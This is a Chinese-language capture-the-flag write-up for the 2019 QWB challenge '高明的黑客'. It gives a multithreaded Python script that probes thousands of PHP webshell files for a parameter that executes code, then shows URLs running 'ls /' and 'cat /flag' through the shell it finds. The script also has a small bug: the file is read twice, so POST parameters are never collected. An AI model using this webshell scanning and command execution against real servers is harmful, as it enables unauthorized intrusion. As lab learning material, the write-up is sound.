[强网杯 2019]高明的黑客
按照提示下载了www.tar.gz这个文件,解压后发现有三千多个php文件
打开其中一个进行代码审计。
认真看这些文件都是 getshell 文件。能把传入的变量执行系统命令。
不过不可能都是有用的,随便打开几个会发现,传入的变量都变为空了,所以基本上无效。
编写 python 脚本寻找有用的 getshell 文件。
基本思想,将文件都执行一遍,所以需要 web 环境。
可以用 phpstudy 搭建 web 环境,将这些文件放在 www 根目录一个文件夹,遍历访问。
所以脚本需要遍历这些php文件,然后判断所有的参数是否可以执行。
import os
import requests
import re
import threading
import time
print('开始时间: '+ time.asctime( time.localtime(time.time()) ))
s1=threading.Semaphore(100) #这儿设置最大的线程数
filePath = r"D:/phpstudy_pro/WWW/src" #自己替换为文件所在目录
os.chdir(filePath) #改变当前的路径
requests.adapters.DEFAULT_RETRIES = 5 #设置重连次数,防止线程数过高,断开连接
files = os.listdir(filePath)
session = requests.Session()
session.keep_alive = False # 设置连接活跃状态为False
def get_content(file):
s1.acquire()
print('trying '+file+ ' '+ time.asctime( time.localtime(time.time()) ))
with open(file,encoding='utf-8') as f: #打开php文件,提取所有的$_GET和$_POST的参数
gets = list(re.findall('\$_GET\[\'(.*?)\'\]', f.read()))
posts = list(re.findall('\$_POST\[\'(.*?)\'\]', f.read()))
data = {} #所有的$_POST
params = {} #所有的$_GET
for m in gets:
params[m] = "echo 'xxxxxx';"
for n in posts:
data[n] = "echo 'xxxxxx';"
url = 'http://127.0.0.1/src/'+file #自己替换为本地url
req = session.post(url, data=data, params=params) #一次性请求所有的GET和POST
req.close() # 关闭请求 释放内存
req.encoding = 'utf-8'
content = req.text
#print(content)
if "xxxxxx" in content: #如果发现有可以利用的参数,继续筛选出具体的参数
flag = 0
for a in gets:
req = session.get(url+'?%s='%a+"echo 'xxxxxx';")
content = req.text
req.close() # 关闭请求 释放内存
if "xxxxxx" in content:
flag = 1
break
if flag != 1:
for b in posts:
req = session.post(url, data={b:"echo 'xxxxxx';"})
content = req.text
req.close() # 关闭请求 释放内存
if "xxxxxx" in content:
break
if flag == 1: #flag用来判断参数是GET还是POST,如果是GET,flag==1,则b未定义;如果是POST,flag为0,
param = a
else:
param = b
print('找到了利用文件: '+file+" and 找到了利用的参数:%s" %param)
print('结束时间: ' + time.asctime(time.localtime(time.time())))
s1.release()
for i in files: #加入多线程
t = threading.Thread(target=get_content, args=(i,))
t.start()
这是网上师傅们写的脚本,但是我这边跑会出现报错
ConnectionRefusedError: [WinError 10061] 由于目标计算机积极拒绝,无法连接。
网上查了查,可能是线程过多的问题,于是把脚本里的线程改为1,这个时候脚本可以正常跑了,但是速度很慢,好在正常执行完毕,找到了利用文件: xk0SzyKwfzw.php 和利用的参数:Efa5BVG
http://8b0fcedf-a754-42fa-920b-7095224044dc.node5.buuoj.cn:81/xk0SzyKwfzw.php?Efa5BVG=ls /
发现flag
http://8b0fcedf-a754-42fa-920b-7095224044dc.node5.buuoj.cn:81/xk0SzyKwfzw.php?Efa5BVG=cat /flag
标签:文件,req,content,强网杯,flag,黑客,2019,xxxxxx,time
From: https://www.cnblogs.com/fishjumpriver/p/18118216